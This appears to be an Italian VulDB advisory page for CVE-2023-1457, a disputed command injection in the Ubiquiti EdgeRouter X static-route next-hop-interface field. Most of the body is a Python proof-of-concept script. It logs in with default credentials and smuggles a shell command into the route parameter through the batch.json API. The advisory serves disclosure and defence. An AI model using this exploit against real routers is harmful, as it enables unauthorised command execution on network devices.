Ubiquiti EdgeRouter X 2.0.9-hotfix.6 Static Routing Configuration next-hop-interface escalazione di privilegi ⚔ [Contestazione]

CVSS Punteggio Meta TempExploit Prezzo Attuale (≈)Punteggio di interesse CTI
7.8$0-$5k0.05

Una vulnerabilità di livello critico è stata rilevata in Ubiquiti EdgeRouter X 2.0.9-hotfix.6 (Router Operating System). Da questa vulnerabilità è interessato una funzione sconosciuta del componente Static Routing Configuration Handler. Mediante la manipolazione del parametro next-hop-interface di un input sconosciuto se causa una vulnerabilità di classe escalazione di privilegi. L'effetto di un attacco con successo non è conosciuto.

La vulnerabilità è stata pubblicata in data 17/03/2023 (non definito). Questa vulnerabilità è identificata come CVE-2023-1457. I dettagli tecnici e un pubblico metodo di utilizzo sono conosciuti.

L'exploit è scaricabile da vuldb.com. È stato dichiarato come proof-of-concept. La reale esistenza di questa vulnerabilità al momento è dubbia. Il codice utilizzato dal exploit è:

import requests
import json
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

username = 'ubnt'
password = 'ubnt'
device_web_ip = '192.168.1.1'
ping_target = '192.168.1.5'
inject_cmd = 'ping -c 1 ' + ping_target
inject_cmd += ';touch /etc/test'


phpsessid = '35a9f702c8c6486596c6b749a6fd9d1c'
csrftoken = 'ca13a024a18598042d0d1323146ea18af8a44554eb8a68c7807a9cd6f5a6cca6'
header ={
  'Host': '{}'.format(device_web_ip), 
  'User-Agent': 'dummy', 
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 
  'Accept-Language': 'en-US,en;q=0.5', 
  'Accept-Encoding': 'gzip, deflate, br', 
  'Content-Type': 'application/x-www-form-urlencoded', 
  'Content-Length': '27', 
  'Origin': 'https://{}/'.format(device_web_ip), 
  'Connection': 'keep-alive', 
  'Referer': 'https://{}/'.format(device_web_ip), 
  'Cookie': 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken), 
  'Upgrade-Insecure-Requests': '1', 
  'Sec-Fetch-Dest': 'document', 
  'Sec-Fetch-Mode': 'navigate', 
  'Sec-Fetch-Site': 'same-origin', 
  'Sec-Fetch-User': '?1'
  }
login_body = 'username={}&password={}'.format(username,password)
login_url = 'https://{}/'.format(device_web_ip)

loop = 3
r = None
while loop>0:
  try:
    loop -= 1
    r = requests.post(url=login_url,headers=header,data=login_body,\
      timeout=5,verify=False,allow_redirects=False)
    if r is None or 'Set-Cookie' not in r.headers.keys():
      print("Login failed.")
      time.sleep((3-loop)*3)
    else:
      break
  except Exception as e:
    print('Login error:{}'.format(e))

if r is None:
  print('Failed login,please check and retry!')
  exit(1)

tmp:dict = requests.utils.dict_from_cookiejar(r.cookies)
for k,v in tmp.items():
  if 'PHPSESSID' == k:
    phpsessid = '{}'.format(v)
  elif 'X-CSRF-TOKEN' == k:
    csrftoken = '{}'.format(v)
  elif 'beaker.session.id' == k:
    sessionid = '{}'.format(v)
cookie = 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken) 

param = {
  'SET': {'protocols': {'static': {'interface-route': {'10.10.12.0/24': 
    {'next-hop-interface': 'eth2/index.html|{}|'.format(inject_cmd)}}}}}, 
  'GET': {'protocols': {'static': {'interface-route': {'10.10.12.0/24': {'next-hop-interface': {'eth2': None}}}}}}}

victim_url = 'https://{}/api/edge/batch.json'.format(device_web_ip)
victim_body = json.dumps(param)
victim_header = {
  'Host': '{}'.format(device_web_ip), 
  'User-Agent': 'dummy', 
  'Accept': 'application/json, text/javascript, */*; q=0.01', 
  'Accept-Language': 'en-US,en;q=0.5', 
  'Accept-Encoding': 'gzip, deflate, br', 
  'Content-Type': 'application/json', 
  'X-CSRF-TOKEN': '{}'.format(csrftoken), 
  'X-Requested-With': 'XMLHttpRequest', 
  'Origin': 'https://{}/'.format(device_web_ip), 
  'Connection': 'keep-alive', 
  'Referer': 'https://{}/'.format(device_web_ip), 
  'Cookie': 'PHPSESSID={0};X-CSRF-TOKEN={1};ip_address_top_user_option=total_bytes;beaker.session.id={0}'.format(phpsessid,csrftoken), 
  'Sec-Fetch-Dest': 'empty', 
  'Sec-Fetch-Mode': 'cors', 
  'Sec-Fetch-Site': 'same-origin'}
r = requests.post(url=victim_url,headers=victim_header,data=victim_body,\
  timeout=5,verify=False,allow_redirects=False)
print(r.status_code)

Informazioni riguardo una possibile contromisura non sono al momento disponibili. Si suggerisce di sostituire il prodotto con uno equivalente.

Prodottoinfo

Genere

Fornitore

Nome

Versione

Licenza

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB CVSS-B Score: 🔍
VulDB CVSS-BT Score: 🔍
VulDB Vettore: 🔍
VulDB Affidabilità: 🔍

CVSSv3info

VulDB Punteggio meta-base: 8.1
VulDB Punteggio Meta Temp: 7.8

VulDB Punteggio di base: 7.2
VulDB Punteggio temporaneo: 6.5
VulDB Vettore: 🔍
VulDB Affidabilità: 🔍

NVD Punteggio di base: 9.8
NVD Vettore: 🔍

CNA Punteggio di base: 7.2
CNA Vettore (VulDB): 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VettoreComplessitàAutenticazioneRiservatezzaIntegritàDisponibilità
sbloccaresbloccaresbloccaresbloccaresbloccaresbloccare
sbloccaresbloccaresbloccaresbloccaresbloccaresbloccare
sbloccaresbloccaresbloccaresbloccaresbloccaresbloccare

VulDB Punteggio di base: 🔍
VulDB Punteggio temporaneo: 🔍
VulDB Affidabilità: 🔍

NVD Punteggio di base: 🔍

Exploitinginfo

Classe: Escalazione di privilegi
CWE: CWE-77 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍

Locale: No
Remoto: Si

Disponibilità: 🔍
Accesso: Pubblico
Stato: Proof-of-Concept
Scaricamento: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Previsione dei prezzi: 🔍
Preventivo attuale: 🔍

0-Daysbloccaresbloccaresbloccaresbloccare
Oggisbloccaresbloccaresbloccaresbloccare

Intelligence Sulle Minacceinfo

Interesse: 🔍
Attori Attivi: 🔍
Gruppi APT attivi: 🔍

Contromisureinfo

Raccomandazione: nessuna contromisura conosciuta
Stato: 🔍

0 giorni di tempo: 🔍

Sequenza temporaleinfo

17/03/2023 🔍
17/03/2023 +0 giorni 🔍
17/03/2023 +0 giorni 🔍
11/04/2023 +25 giorni 🔍

Fontiinfo

Stato: Non definito
Contestazione: 🔍

CVE: CVE-2023-1457 (🔍)
scip Labs: https://www.scip.ch/en/?labs.20161013

Voceinfo

Data di creazione: 17/03/2023 08:38
Aggiornamenti: 11/04/2023 12:03
I cambiamenti: 17/03/2023 08:38 (40), 17/03/2023 08:39 (3), 11/04/2023 11:55 (2), 11/04/2023 12:03 (28)
Completa: 🔍
Inviato: leetmoon

Submitinfo

Accettato

  • Submit #99978: Command injection at the web management interface of EdgerRouter-x(2) (di leetmoon)

Discussione

Ancora nessun commento. Le Lingue: it + en.

Effettua il login per commentare.

Might our Artificial Intelligence support you?

Check our Alexa App!